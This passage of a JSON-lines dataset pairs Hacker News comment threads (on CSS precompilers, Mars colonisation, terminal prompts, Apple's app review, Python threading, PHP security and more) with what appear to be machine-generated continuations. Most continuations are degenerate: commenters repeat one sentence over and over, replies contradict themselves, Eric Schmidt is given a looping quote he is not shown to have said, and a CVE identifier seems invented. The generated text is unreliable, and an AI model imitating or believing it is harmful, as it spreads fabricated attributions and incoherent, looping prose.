you're trying to\nsay.\n\n------\njamesjyu\nI'm not sure if this is a good idea. I'm not a fan of pre-compilers, but I\nthink this is a good idea.\n\nI think the biggest problem with pre-compilers is that they are too\ncomplicated. I", "input_text": ".\n\n------\nozh\nlots of readability issues on this page. Purple tiny text on black background\n!= easy to read.\n\n------\nabvdasker\nDefinitely going to give this a try. I really appreciate the apparent\nsimplicity and creativity of this tool. It avoids the need to learn the odd\nsyntax of LESS/Sass for those of us who need reliable cross-browser support\nwhile providing many (though not all) of the benefits of precompilers.\n\nSeriously great work.\n\n------\nlstamour\nLong-term I'm not sure how well this will work.\n\nAfter all, SCSS was based on \"CSS3\" so we wouldn't have to rewrite our CSS.\nIt's still around... so we don't have to rewrite our SCSS.\n\nI'm happy to see innovation here, but I also wish IE would just auto-update\nalready. :D\n\n------\niLoch\nMan I really hate when the creator of the site expects me to scroll down. I\nhave a 1080p monitor, if I can't see any content at that height I have to\nassume there isn't any.\n\n~~~\nldh\nAgreed. It seems to be a design trend that's on the upswing lately, and it's\nfrustrating. I encountered a mobile site yesterday that did that... to me it's\nthe equivalent of the \"click to enter\" home page of bygone days. Uh, no\nthanks.\n\n~~~\njonesetc\nI honestly can't tell if your guys are being serious. Click to enter was\nabsurd because they were page loads just for the sake of page loads. Scrolling\ndown is just spacing out your content to get a visual feel. This one in\nparticular"} +{"output_text": "Hard to see problem with this behavior. It is the same reason we don't ride\n> horses to work anymore - better stuff available._\n\nNot really.\n\nHorses are a lot more expensive than books, and they are not as portable.\n\n~~~\narihant\nI am not talking about the cost of books. I am talking about the cost of\nreading.\n\nI am not sure if you have ever read a book. I have read a lot of", "input_text": " give everything to that book for whatever period of time you want\nto read it for.\n\nI am watching Chopped, skimming articles like this one, I just stepped up mid-\ntyping that last bit to help my wife with something and finally I'm\nprogramming. I was interrupted again after finishing that sentence.\n\nReading is a luxury.\n\n~~~\ncalinet6\nI think the point is that _attention_ is a luxury.\n\nThese days, the currency is attention. The amount of attention required for\nreading of any substance is very high, and with thousands of apps, sites,\nshows, brands, and everything else pulling at us in a way that's engineered to\nbe ideally visceral and tailored to our animal impulses, the lack of attention\nleft over is no surprise.\n\n------\narihant\nHard to see problem with this behavior. It is the same reason we don't ride\nhorses to work anymore - better stuff available.\n\nWe didn't read at all, then we read leaves, then we read scrolls, then we read\nbooks, now we read the internet. Books have been around for extremely small\npercentage of our species' span. Moreover before the internet, the general\npublic showed more interest in reading up more current affairs/entertainment\nthan traditional books. Newspapers and magazine numbers are still strong.\n\nFrankly, I would rather have a race of people reading up on general knowledge\nand keep themselves aware than a race of people wasting time trying to read\nstory books just to fit in. It is not that the books have been replaced.\nBetter stuff has brutally shown that books were truly appealing to only a few.\nIf, given chance, most people flea, it is a failed product.\n\n~~~\ncoldtea\n> _"} +{"output_text": ", too.\"_\n\n------\njamesjyu\nI'm not sure if I'm ready to go. I'm not sure if I'm ready to go to Mars.\n\nI'm not sure if I'm ready to go to Mars and stay there for a year.\n\nI'm not sure if I'm ready to go to Mars and stay there for a year and come\nback.\n\nI'm not sure if I'm ready to go to Mars and stay there for", "input_text": ", I would happily die on Mars.\n\nI'm in my early 20's and I have big plans and dreams here on Earth. I would\ndrop them instantly for the chance to go to Mars, one way trip or no.\n\n------\nhandzhiev\nI wonder how many of the people who say they are ready to go, imagine what it\nreally is going to be. I think it won't be glorious. It might be exciting at\nfirst but if you have the chance to live there more than few months it will\nturn into rather lonely and hard experience. You won't have the internet or\nother communications. You won't have your favorite beer, or most probably any\nbeer at all. Chances are you'd say good-bye to sex/love relationships, to your\nparents and friends forever, to the Earth weather and green grass... You get\nthe idea. I know it sounds romantic and glorious when you are 20 years old or\nso, but I hope everyone who thinks they are ready to go, really is.\n\n------\nfjarlq\nI don't like it. Let's go all the way and make bringing the crew back safely\npart of the challenge. It will be more rewarding because it's more difficult.\n\n _\"I believe that this nation should commit itself to achieving the goal,\nbefore this decade is out, of landing a man on the moon and returning him\nsafely to Earth.\"_\n\n _\"We choose to go to the moon in this decade, and do the other things -- not\nbecause they are easy; but because they are hard; because that goal will serve\nto organize and measure the best of our energies and skills; because that\nchallenge is one that we're willing to accept; one we are unwilling to\npostpone, and one we intend to win -- and the others"} +{"output_text": "\na result that is not obvious.\n\n~~~\nSmaug123\nI think I've seen a card trick like that before, but I can't remember where.\n\n~~~\nGuB-42\nI think it was in a book about card tricks.\n\n------\njedberg\nI've always wondered why the shell doesn't have a built in way to do this.\n\n~~~\njedberg\nI guess I should have been more clear. I", "input_text": " even know\nwhere the cursor is!\n\nOne important reason for this hack is right prompts. If rprompt has width 7,\nthe shell moves right by $COLUMNS-7, outputs the rprompt, and then moves left\nto return the cursor. What happens if during the move-right phase, the cursor\nwraps to the next line? move-left doesn't \"wrap back\", it just pins against\nthe left side! So your prompts get split across lines, your right prompt\nfloats somewhere in space, and your input may even overlap it. It's quite\nconfusing to the user.\n\nSo if you have a right prompt, the shell has to be very sure it's on a new\nline when it starts!\n\n~~~\nJdeBP\nCUB does not wrap at left margin, but BS _sometimes_ does.\n\n* [https://unix.stackexchange.com/a/198445/5132](https://unix.stackexchange.com/a/198445/5132)\n\n------\nSmaug123\nThat is _distressingly_ clever, and quite beautiful. It's one of those\nsolutions that makes me wonder whether I could ever have come up with it.\n\n~~~\nGuB-42\nIt is almost like a magic trick.\n\nYou probably know some of them along the lines of : think of a number, then do\na series of operations, and then I can guess the result. It can be done with\ncards too. In reality no matter what your initial choice is, the end result is\nalways the same. The trick is to combine relatively complex functions (ex:\n\"take the sum all digits of the number\", \"add 1 if odd\") in a way that produce"} +{"output_text": " array of bytes.\n\n~~~\nSpivak\nI'm not sure what you mean by \"trivially manipulates an array of bytes\".\n\n~~~\nkazinator\nI mean that the interpreter is a Turing machine that can be implemented in\nany language.\n\n------\njoshstrange\nI'm not sure why this is getting downvoted. I'm not a lawyer but I'm pretty\nsure that the EULA is pretty clear on what", "input_text": " solution to adhere to the letter of a EULA of a tightly\ncontrolled ecosystem run by a very capricious company.\n\nI hate the app store review process and a lot of apple policies around the app\nstore and I feel for you and I totally think there should be a less onerous\nupdate/review process... but... you clearly and blatantly circumvented a\ncore policy, and what happened to you was absolutely predictable.\n\nGet your money back from the lawyer that told you Apple wouldn't shut you\ndown. You got bad advice.\n\n~~~\nabcd_f\n> _Oh man. You were surprised? Really?_\n\nExactly!\n\nApple has always been adamant that they see _all_ code that goes onto devices.\nLive patching is so bloody obvious against their EULA.\n\n~~~\nwolfgke\nWhat is \"code\"? Everybody who has programmed in LISP or Scheme knows that\nthere is no essential distinction between code and data (only many programming\nlanguages make it a little hard to see that it is all the same). Thus Apple\nwould have to see not only all code, but also all data that goes onto the\ndevices. But this would imply that Apple disallows all apps that read data\nfrom a foreign (i.e. at least not Apple-controlled) server if one does not\nwant to get into a self-contradiction.\n\n~~~\nSpivak\nWhich is why you're not allowed to use a Lisp interpreter or use any method of\nevaluating data as code. In this model the only thing that data can do is\nchange which code paths run, not what they do.\n\n~~~\nkazinator\nThat characterization isn't enough to distinguish a Turing complete\ninterpreter from something that trivially manipulates an"} +{"output_text": " US is not perfect, but this is just ridiculous.\n\n~~~\nmatt4077\nIt's not ridiculous. It's a very common practice.\n\n~~~\nmmmad123\nI'm not saying it's not ridiculous, I'm saying it's not ridiculous for the US\nto do it.\n\n~~~\nmatt4077\nI'm not sure what you're trying to say.\n\n------\nmatt4077\nI'm not sure what the US", "input_text": " the U.S. isn't really even\nmeddling. We care our trade deficit with China and tariffs than human rights\nabuses in China.\n\n~~~\nFabHK\nWell, there's a bipartisan bill that threatens to abolish HK's treatment as\nseparate from mainland China for trade purposes, if HK's autonomy becomes\ninsufficient.\n\n(And, I despise Ted Cruz, but kudos for supporting that bill.)\n\n[https://www.hongkongfp.com/2019/06/14/us-senators-table-\nbill...](https://www.hongkongfp.com/2019/06/14/us-senators-table-bill-amend-\nhong-kong-trade-policy-requiring-new-report-chinas-exploitation-city/)\n\n------\nNotPaidToPost\nWhen people are used to this they can't easily tell what is satire anymore.\n\nI remember a few years back China Daily (or was it the People's Daily) quoted\nThe Onion because the 'journalist' hadn't realised it was a satirical\nwebsite...\n\nEdit:\n\nHere it is. It was the People's Daily:\n[https://www.cnn.com/2012/11/27/world/asia/north-korea-\nchina-...](https://www.cnn.com/2012/11/27/world/asia/north-korea-china-\nonion/index.html)\n\n~~~\nguyhance\nOh the irony...\n\n------\nseomis\nWhat is so absurd about the US trying to influence the legislation or\nelections of another region?\n\n------\nmmmad123\nI know the"} +{"output_text": "\n\n~~~\nphreeza\nI think you are right about gravity. I think the main point of the article is\nthat the evolution of life is not determined by the energy output of the\nnearest star, but by the energy output of the nearest star and the planet's\ngravity.\n\n------\njameshart\nI think the author is missing a key point: the evolution of life is not\ndetermined by the energy output of the nearest star, but by the energy", "input_text": " around: I have to expect to be in the large group only, if the\nlarge group makes it more likely that someone in it has questions about his\ngroup (more members -> more random thoughts -> greater total of thoughts about\nwhich group one is in). This is true for blood types (unless people with weird\nblood types commonly get in to issues making them wonder about their blood\ntype...). But for aliens, probably either more or less all wonder collectively\nthrough cultural exchange, or it wasn't part of a public debate.\n\nHm, you get the knot in my brain? can you solve it?\n\n~~~\nphreeza\nI do get the knot. My gut feeling would be that the definition of an\nindividual in this case is \"an entity that is capable of independent thought\".\nSo if all our thoughts as a species were perfectly in sync (borg-style), we\nwould count as a species of population 1. Because of cultural exchange, one\nwould probably have to count us as a species of effective size less than that\nof the actual population size.\n\n------\npi-err\nGreat thought experiment.\n\nI would have thought that a planet's life form, shape and variety would be\ndetermined by:\n\n1- the energy output of nearest star\n\n2- the planet's gravity\n\nHe barely mentions gravity which is surprising. Earthlings probably wouldn't\nbe as tall with 1.3x more gravity. Maybe life wouldn't even have made it out\nof water, or much more slowly.\n\nEvolution would mean \"heavier\" eggs would be harder to carry. The entire\nevolution process hangs around reproduction so what would that mean?\n\nSame for less gravity - except it would _probably_ be on a smaller planet.\nGravity correlates with planet size in the solar system."} +{"output_text": " and has been working on this one full\ntime for the past year.\n\n------\njasonkester\nCongrats! I'm sure you'll be able to get a lot more customers if you can\nconvince them that you're not going to spam them with ads.\n\n~~~\nbarmstrong\nThanks Jason - I'm not sure if I can convince them that I'm not going to spam\nthem with ads, but I'm definitely going to try!\n", "input_text": " may be assuming too much based on my reading of your post, but it sounds\nlike you could really stand to implement some (or more) A/B testing. The fact\nthat it took two years to reach 200 customers but in only a week or so you've\nadded another 20 customers after making some changes makes me think you should\nhave been making (and testing!) changes like that all along. Either way,\ncongratulations, and best of luck in the future!\n\n~~~\nbarmstrong\nYur right - I just didn't have the idea to do this test until recently :) Have\ndone some split testing on price etc, but could def stand to do more.\n\n~~~\ntnorthcutt\nHopefully you'll continue to see a faster increase in signups. Good luck!\n\n------\nspencerfry\nCongrats! With 200 paying customers, you now have more than enough information\nto start tracking churn, CPA, life time value, life time profit, etc. You can\nturn those 200 paying customers into a lot more by accurately tracking your\nmetrics and building from them.\n\nI recommend reading:\n\n[http://thinkvitamin.com/web-apps/how-to-track-six-key-\nmetric...](http://thinkvitamin.com/web-apps/how-to-track-six-key-metrics-for-\nyour-web-app/)\n\n------\nmrbird\nMaybe I missed this in the post, but are you working on this full time? If\nnot, how many hours/week would you estimate you've invested, on average?\n\n~~~\ncolonelxc\nread his about page: \n\nShows he's started a few other sites,"} +{"output_text": "ed a Shopify app to React and it was a nightmare. The app was\nessentially a single page app with a few pages that were loaded via AJAX.\n\nThe app was a bit of a mess, but I think the biggest problem was that the\nfrontend was written in React, which is a very opinionated framework.\n\nI ended up rewriting the app in Vue.js, which is a much more flexible\nframework.\n\n------\njosh", "input_text": " to ensure that firing events is\nhygienic, existing projects might not be so hygienic.\n\nWith a server-centric approach, each page load limits the mental load with\nstate. On page-transition, the page state is clean.\n\nWhile I think frameworks like Angular is very interesting, I tend to question\nmy own ambition personally. Something like the approach that Turbolinks takes\nmight actually be more appealing.\n\n------\njosho\nI started down a similar path with ember.js and was starting to see the same\nissues. Primarily the business models duplicated on the client. So, it strikes\nme that we are still figuring out the right path forward on the client/server\nbalance.\n\n------\nmromanuk\n_Duplication and poor documentation made it difficult for developers to make\nchanges to the admin. Once we started questioning Batman, we saw that the\nevidence strongly indicated it was time to move on to the next chapter._\n\nI don't see a SPA vs Server side rendering debate in the article. Building\nyour own framework was the problem, is not a core competence of Shopify to\nbuild JS frameworks. Maybe they could choose other route, like going with\nReact or Angular there.\n\n~~~\nwvanbergen\nWe actually evaluated other options as well, including Angular, but found them\nnot the best solution for our problem. We documented our experiments and\nevaluations at the time here:\n[https://gist.github.com/kristianpd/f4c2e0aeb53d09f6def1](https://gist.github.com/kristianpd/f4c2e0aeb53d09f6def1)\n\n------\nGigablah\nI port"} +{"output_text": "'t change the underlying distribution, then\nthe average civilization will be larger than the average individual.\n\n[1]\n[https://en.wikipedia.org/wiki/Sleeping_Beauty_paradox](https://en.wikipedia.org/wiki/Sleeping_Beauty_paradox)\n\n~~~\njessriedel\n> An average civilization will be average sized. An average individual will\n> belong to a larger-than average civilization", "input_text": ". After all, life on Earth has only existed\nfor ~4By, compared to ~13By for the Milky Way. As a base for extrapolation,\njust think how different to humans extreme life on Earth is.\n([http://www.livescience.com/13377-extremophiles-world-\nweirdes...](http://www.livescience.com/13377-extremophiles-world-weirdest-\nlife.html)) In any case, there are bound to be some weird-as-shit species out\nthere, whose composition still obeys the laws of physics. In other words,\nthere is almost certainly many _statistical modes_ of life out there that are,\nor can become, sentient.\n\nWith that in mind, there's a very good chance that the overall size\ndistribution of (sentient) species does not match the one the author used\n(that of vertebrates only). In statistics-ese: if the distribution is\nmultimodal, the average of our unimodal sample is not a good guess as to what\nthe true average really is.\n\nMaybe we can agree upon that?\n\n------\nGravityloss\nThis is a bit like the sleeping beauty paradox. [1] We have to be careful what\nwe're sampling.\n\nIs it individuals or civilizations?\n\nAn average civilization will be average sized. An average individual will\nbelong to a larger-than average civilization.\n\nIt's also a bit like the problem that in average, your friends have more\nfriends than you do. (That's easy to understand. It's because they are not a\nreally random sample of all people. People with more connections are over-\nrepresented in your friends.)\n\nIf we assume that observation doesn"} +{"output_text": "jedberg\nI've been using this for a while now and it's been great.\n\n------\njedberg\nI've been using this for a while now and it's been great.\n\n------\njedberg\nI've been using this for a while now and it's been great.\n\n------\njedberg\nI've been using this for a while now and it's been great.\n\n------\njedberg\nI've been using", "input_text": " state and task results in postgres makes it easy to\nintegrate with workers in different languages, but you need to write the\nlibrary code to query and lock a free task to process.\n\nI'm not sure how well this would scale for 10 million tasks in \"a short\nperiod\". It works fine for me running the database and multiple workers on a\nsingle machine with around 100k tasks that are scheduled and processed every\nweek or two.\n\n> Features most important to me are multiple retries, restarting workers that\n> are not responding, ability to monitor status of the queue and workers.\n\nSome of these concerns might not be the responsibility of the job processing\nsystem: you might just need to set up some monitoring and health checks to\nrestart services or machines if they stop responding\n\n------\nstephenr\nI've been using Qless for a client recently.\n\nThe core logic itself is Lua that runs in Redis itself, but each language\ngenerally needs a client to interface between the native expected norms and\nthe Lua. I can't comment on the availability or quality of Python or Go client\nlibraries.\n\nIt's not perfect, but it's workable.\n\n------\nmiraculixx\nInteresting - I have had good experience with Celery, so interested to hear\nmore about the problems you encounter. In particular Celery provides all the\nfeatures that you are looking for so it would be great to know more about your\nspecific issues.\n\nCan you elaborate on your set-up?\n\n------\nshoo\nSome ideas from prior hn discussion:\n[https://news.ycombinator.com/item?id=15985103](https://news.ycombinator.com/item?id=15985103)\n\n------\n"} +{"output_text": "\n\n------\njrockway\nI have a netbook. It's a Toshiba NB205-S5. It's a great little machine. I\ndon't know why people are so upset about it.\n\n~~~\njrockway\nI guess I should clarify. I have a netbook. It's a Toshiba NB205-S5. It's a\ngreat little machine. I don't know why people are so upset about it.", "input_text": " painfully slow. I got myself a netbook (Samsung NC10 Plus)\nrecently, and while I don't regret it because I view it as an emergency\ncomputer if I should spill water on my laptop, it isn't pleasant to use.\n\n~~~\nrjbond3rd\nIt depends on the processor. A low-end single-core Intel Atom is okay for\nlight browsing.\n\nBut some ultra-portables with dual-core CPU's are much zippier, e.g., the\nThinkpad x120e with the dual-core AMD Fusion E350.\n\n~~~\ndexen\nFor most uses it depends on memory too: both RAM and mass storage. A typical\nuser has a browser, an IM and some other window opened most of the time. A\nbunch of systray icons, perhaps also antivirus, if MS Windows.\n\nA typical netbook is underprovisioned in RAM and has slow storage to match;\npain both when starting up and in case of swapping VM pages. Topped up with a\njoke of a GPU, likely using up access cycles of system memory instead of\nhaving own dedicated RAM.\n\nLess display estate (pixel-wise) means you have to Alt+Tab or scroll around\nmore often, too; sucking up your time.\n\nSo no, CPU doesn't have to be the only choke point in a netbook, and\n kicks in.\n\n~~~\nrjbond3rd\nInteresting. My case is perhaps unusual since I never use more than 800Mb of\nRAM. I am running Linux, a browser and a terminal. So on all my machines, I\nonly have 1Gb installed and no swap."} +{"output_text": " is so much more open is a huge advantage, but it's also\na huge disadvantage.\n\n~~~\njosteink\n> The UI is amazing on the core apps.\n\nI'm not sure if you're being sarcastic or not, but I'm not sure if you've ever\nused a Windows Phone.\n\nThe UI is _amazing_ on the core apps.\n\nThe UI is _amazing_ on the core apps.\n\nThe UI is", "input_text": " released within the last two years. When I was talking to coworkers\nover lunch, we quickly drifted into utter confusion when trying to compare\nphone features.\n\n~~~\ndaleharvey\nSince 2.2 I have much preferred Android to iOS, since then I have always\nthought it was a better platform and enjoyed using it more, however there has\nalways been little niggly warts around that can be brought up, against the\nbias of the hacker new crowd it seems like the market has agreed, Android\nphones outsell iPhones, my non techy friends mostly prefer their android\nphones.\n\nI get the feeling from most reviews that it isnt so much that this is finally\nthe android phone that usable' as much as 'this is finally the android phone\nthat is almost unarguably better than the iphone', or at least the one that\ndoesnt have the warts that android detractors like to bring up in these\ncomparisons\n\n~~~\nnitrogen\nOne of those niggly warts, namely UI stuttering, is significantly reduced on\nmy Galaxy S-derived phone when I terminate any services (like IQ) not\nspecifically related to the apps I'm running.\n\n------\nuntog\nICS's core apps can be as slick and beautiful as they want, but app developers\nneed to keep up, and I'm not convinced they will.\n\nI have a Windows Phone, largely as an experiment at seeing if I like it or\nnot. The UI is _amazing_ on the core apps. The People, Music and Email apps\nare second to none. But almost every third party app I download gets something\nwrong (often most things wrong), and it's very jarring when you're expecting\nthings to match a very defined UI flow.\n\nThe fact that Android"} +{"output_text": " that?\n\n~~~\nars\n> So we can extract the shielding from the moon? Waste of time for exploration.\n\nNo, we can't. The moon is too far away.\n\n> How much is that?\n\nI don't know. I'm not a rocket scientist.\n\n~~~\nstcredzero\n_I don't know. I'm not a rocket scientist._\n\nI'm not either, but I'm a programmer. I can do the", "input_text": " down, it touches down.\n\n~~~\nmonocasa\nSo by design, the rocket motor is going to be active, and pointing at\nsomething he doesn't control?\n\n------\nnategri\nAfter all the dire news in May I'm very happy so see good content on a Make\ndomain :)\n\n------\nprotomikron\nCool project, but... that website gave my browser cancer (if you scroll down\ntoo far, your history is messed up and back button does not work).\n\n \n\nBuzz Aldrin: Cancel Ares, reprieve shuttle, colonise Mars - dhs\nhttp://www.theregister.co.uk/2009/06/28/aldrin_space_vision\n\n======\nars\nI thought the problem was that humans can't _get_ to mars!\n\nBecause there is too much solar and cosmic radiation, and no one would survive\nthe trip. And enough shielding to block it is too heavy to launch (from\nearth). Which is why we want to go to the moon first.\n\n~~~\nstcredzero\n_I thought the problem was that humans can't get to mars! Because there is too\nmuch solar and cosmic radiation,_\n\nNonsense. If you can hop in a shelter to avoid the occasional solar storm that\ncan kill you instantly, the remaining associated risks are like smoking.\n\n _And enough shielding to block it is too heavy to launch (from earth)._\n\nAgain nonsense. Water is a very good shield medium. You'll need to carry a lot\nof it anyhow, and you only need to shield a small short-duration shelter for\nradiation storms.\n\nSo we can extract the shielding from the moon? Waste of time for exploration.\nSo you save on launch costs for the expedition. How much is"} +{"output_text": ". Schmidt said he was not aware of the incident, but he said that he\n> believed that the company had a responsibility to protect the privacy of its\n> users.\n\n> \u201cI think we have a responsibility to protect the privacy of our users,\u201d he\n> said. \u201cI think we have a responsibility to protect the privacy of our users.\n> I think we have a responsibility to protect the privacy of our users. I\n> think we have a responsibility to protect the", "input_text": " ago, with ex-employees stating that the system\nwas routinely abused for amusement. What's up with that these days?\n\n------\nXurinos\nJust to keep this into perspective, we are reading about this because it is\nGoogle. But _every_ system and _every_ relay through which your email passes\nis a point where somebody with less then well-meaning intentions can read your\nemail. We may be able to somewhat rely on Google to enforce some privacy\npolicy, given publicity pressures, but some danger lies in all the carriers\nbetween point A and point B.\n\nIt is a shame that PGP only took off in the hardcore user community. If it was\nmade insanely accessible to users -- maybe even transparent -- maybe we could\nhave a better assumption of privacy for our communications (as well as a\npotential reduction in spam?).\n\n------\njakarta\nMaybe Google should add more questions related to ethics in their rigorous\ninterview process.\n\n------\nspaznode\nStill kind of alarming, I mean I do personally know some google employees and\nnone would even remotely consider doing anything like this for both\nphilosophical and practical reasons. Either way it's kind of scary that some\ndouche fucker \"quality assurance\" dweeb had enough access to do this kind of\nthing.\n\nI think we ought to have some kind of equivalent HIPPA act for ALL data\npersonally identifiable to us, not just in medical contexts. That'd put the\nfire under googles ass enough to take our privacy seriously. Fuck Eric Schmidt\nand his \"change your name at 18\" bullshit. We know who that fucker is right\nnow.\n\n~~~\n124816\nDid you ever see the full quote of the \"change your name\" stuff?\n\n> Mr"} +{"output_text": "toward\nI guess I'm just not a fan of the idea of a company that makes money by\nselling me things I don't need.\n\n~~~\ndiminoten\nI'm not a fan of the idea of a company that makes money by selling me things I\ndon't need.\n\nI'm not a fan of the idea of a company that makes money by selling me things I\ndon't need.\n\nI'm not a fan of the idea of", "input_text": " DSC,\nDorco, etc.\n\nEven as a complete novice I've had no issues with nicks or cuts and actually\nlook forward to shaving again.\n\n------\nkilroy123\nSometimes I feel like I'm the only man in the world who uses an electric\nshaver everyday. I don't think I know a single other guy.\n\n~~~\navree\nElectric shavers are awful for getting any sort of reasonable shave, which is\nprobably why they aren't used much.\n\n~~~\npionar\nYeah, the few times I used one, I still had a 5 o'clock shadow.\n\n------\nbrianbreslin\nI am a huge fan of DSC and their biz model. I'm a subscriber, their products\naren't anything amazing, but I think of it as foothold into first bathroom\nproducts, later other consumables.\n\nI bet they come out with a shampoo, conditioner, body wash, hair gel,\ntoothpaste/mouthwash, toothbrushes, moisturizer, deodorant(s). Think anything\naxe/old-spice do now.\n\n~~~\nsmacktoward\nSo the appeal of a service that provides admittedly mediocre products is that\nsomeday they might provide even more types of mediocre products?\n\nI don't get it. But then I've never really gotten the appeal of DSC, beyond\nthe well-done launch video.\n\n~~~\ndiminoten\nWhat's not appealing about no longer having to think about purchasing any of\nthese things? When you're low, new items appear magically on your doorstep.\n\nFrankly, I wish most of my replenishables were like this.\n\n~~~\nsmack"} +{"output_text": "\n\n------\njoeclark77\nI'm not sure what you mean by \"no experience\". You can get a job as a\nprogrammer without any experience. You can get a job as a programmer with\nexperience.\n\nYou can get a job as a programmer with no experience. You can get a job as a\nprogrammer with experience and no experience.\n\nYou can get a job as a programmer with no experience and no experience.\n\nYou can get", "input_text": "\nHave you tried [http://freecodecamp.com/](http://freecodecamp.com/) I'm going\nthrough it at the moment. I'm no programmer, but found it really interesting.\n\n------\nflannelncode\nThis is all you need. Good luck bro.\n\n[http://www.theodinproject.com/](http://www.theodinproject.com/)\n\n------\nDanBC\nDo you have a project that you can work on? Lack of a syllabus is a problem,\nso having a structure means you learn what you need to complete the project.\n\nYou then build up a portfolio.\n\n------\ngexla\nThere are many roads to doing what you are attempting to do. Just having\naccess to the internet and a computer is a huge start. You are in a tough\nposition, but I'm living in the Philippines where many have no access to a\ncomputer and some don't even have electricity.\n\nMuch of a career in web development (or anything) is about dealing with\npeople. Communicating with your employers, team, clients and anyone else you\nneed to deal with. Along with the technical components, take some time to\npractice writing and learning good grammar. You can take free online classes\nfor writing and grammar. Writing well is one of the most powerful ways to come\nacross as a professional who can solve problems. You'll be judged on this\nbefore you even get to the point of demonstrating technical ability.\n\nHave you built anything? If not, then start there. Web development is a craft,\nit's about building stuff. For me, building came first. My passion in creating\nthings to solve my own problems and sharing those things on the internet put\nme on the path to paid work, not the other way around."} +{"output_text": " food\nfor $10 a day.\n\n~~~\nTycho\nI'm not disputing that, I'm just asking for evidence.\n\n~~~\nskylan_q\nI'm not sure what you're asking for. I'm not sure what you're looking for.\n\n~~~\nTycho\nI'm looking for evidence that eating healthily is more expensive than eating\njunk.\n\n~~~\nskylan_q\nI'm not sure what you", "input_text": "Altmaier\nSO the problem is, the definition of overweight has changed to 'anyone that\ndoesn't look good in a bathing suit'?\n\n~~~\nwill_work4tears\nI don't think it's changed, I'm not commenting on that, merely saying most\npeople don't realize they are, or are seeing an obese person. People think\nObese = rolls of fat when in fact you can be pretty fit looking with clothes\non.\n\nI'm pretty sure a BMI of 30+ is still not the healthiest. Just not as obvious\nas a person with a 40+ BMI (morbidly obese)\n\n------\nbravoyankee\nMany people are too poor to eat well. When all you can afford is spaghetti and\npotatoes, you will gain weight and experience suboptimal energy. You'll also\nbe more likely to suffer anxiety, depression and get diabetes.\n\nBelieve me, you don't think all that well either - decisions become more\nemotional than rational - so getting out of the hole gets even harder.\n\nInstead of finger pointing, chastising and instructing, I think more\ncompassion is required when it comes to dealing with the complex issue of\nobesity.\n\n~~~\nTycho\nYour two assertions that\n\n1\\. Eating healthily is more expensive than eating junk\n\n2\\. Eating poorly impairs your ability to think to the extent that you cannot\nbe held responsible for your poor choice of diet\n\nI find them very hard to believe (even though I hear them often). Do you have\nany links to the studies or evidence that show this?\n\n~~~\nskylan_q\n\"Eating healthily is more expensive than eating junk\"\n\nThis assertion is blatantly false. I can get full on excellent quality"} +{"output_text": " are running in the same address space,\nand thus share the same data structures.\n\nWith the GIL, you have to use the multiprocessing module, which is a\nseparate address space.\n\n~~~\nzepolen\nI see. Thanks.\n\n------\njrockway\nI don't understand why people are so excited about threads. I mean, I get that\nyou can do some cool stuff with threads, but I don't see why you", "input_text": "Caml book ([http://caml.inria.fr/pub/docs/oreilly-\nbook/html/book-ora082....](http://caml.inria.fr/pub/docs/oreilly-\nbook/html/book-ora082.html) )). In other words, it plugs the worst memory\nleaks caused by reference counting.\n\nHow to do multiprocessor / multithread GC well is still an area of active\nresearch. In the mean time, one simpler solution is to have several\nindependent VM states, each running in their own thread (or process), and\ncommunicating via message passing. Lua makes this easy, but its VM is\nconsiderably lighter than Python's.\n\n------\neuroclydon\nIf Python can't get this threading thing worked out, isn't the language going\nto get left behind as parallel architecture marches onward?\n\n~~~\ncdavid\nThere are many ways to exploit multi-cores, multi-threading is just one of\nthem. Many other techniques exist. Also, one thing to realize is that if speed\nreally matters (like in scientific apps), you will get much higher speed\nincrease by rewriting some parts in C than by allowing using all the cores\nfrom python (at least with only a couple of cores).\n\nFinally, a point which is not often brought but is crucial in my opinion is\nabout C extension: the GIL makes C extensions much easier to write. That's one\nbig reason for python success in the first place.\n\n------\nzepolen\nWhy are real threads so important? Does anyone have an example where threads\nwould be much better than using the multiprocessing module?\n\n~~~\nmahmud\nWith native threads, all your threads"} +{"output_text": " minutes.\n\nI was so happy that I had the opportunity to be helpful and friendly with the\ncustomer, and I was so relieved that I had not been caught spying on my\nmanager.\n\n~~~\nmatt_the_bass\nI\u2019ve had similar experiences. I\u2019ve worked in retail for a long time and I\u2019ve\nalways been a little paranoid about my manager. I\u2019ve never been caught\nspying, but I\u2019ve always been a", "input_text": " poor. If something\nabout my post offends anyone, I'd love to know about it.\n\n------\nmangeletti\nI swear this is a true story:\n\nI worked at Staples when I was 19, and when I first started I was a \"front end\nlead\" (read: the only full-time cashier), so I would work behind the service\ncounter at the front.\n\nOnce, I was standing up front while there were no customers when all of the\nsudden the voice of the general manager (we'll call him Bill) popped onto the\nphone's speaker, \"Hey, Michael\". I looked up and noticed the light next to\n\"Manager's Office\" was on. I instinctively replied, \"Hey, Bill; what's up?\",\ndespite the fact that it nearly gave me a heart attack.\n\nBill proceeded to tell me to run something he needed to the back, which I did,\nand that was the end of that.\n\nThen, one day I was helping a customer with some Cross pens behind the\ncounter. I stood up to grab a key that was next to the register when I noticed\nout of the corner of my eye that the phone's \"Manager's Office\" intercom light\nwas on. It made my heart jump because I hadn't talk to anybody through it, and\nI knew that Bill was in the back office. I immediately realized, 'oh my god,\nhe's probably spying on me to see how my service is!'. It made me feel\nuncomfortable, until I realized it was an opportunity to be extraordinarily\nhelpful and jovial with the customer and be \"candidly\" observed by my manager.\nSo I did that. I rang the customer up and she left. The light went off after a\nfew"} +{"output_text": "> applications written in PHP.\n\nI'm not. I'm saying that PHP is a platform that is used to build applications\nthat are vulnerable to SQL injection.\n\n> PHP has none in 2018 and has one in 2019 so far (there's another one in\n> http module but it's not part of the core).\n\nI'm not sure what you're trying to say here. The CVE for the Python one is\nCVE-2018-10271. The", "input_text": "think for example I've heard of a Python based SQL injection in many years.\nStuff like that seems to still crop up regularly in PHP land\n\n~~~\nsmsm42\nNow you are confusing security of PHP as a platform with security of\napplications written in PHP. Python had 2 RCEs in 2018:\n[https://www.cvedetails.com/vulnerability-\nlist/vendor_id-1021...](https://www.cvedetails.com/vulnerability-\nlist/vendor_id-10210/product_id-18230/year-2018/opec-1/Python-Python.html)\nNone in 2019 so far. PHP has none in 2018 and has one in 2019 so far (there's\nanother one in http module but it's not part of the core).\n\n> I don't think for example I've heard of a Python based SQL injection in many\n> years. Stuff like that seems to still crop up regularly in PHP land\n\nThis is an extremely subjective statement based on your personal experience of\nwhat you heard and didn't. As such, it's not verifiable and not useful. What\nis useful is to know that, obviously, PHP, as well as Python, has SQL\nimplementations that eliminate injections for decades. And as in Python, there\ncould be people that ignore it and stuff query params directly into strings.\nThis has nothing to do with anything but these people being ignorant. There\nare of course tons of web 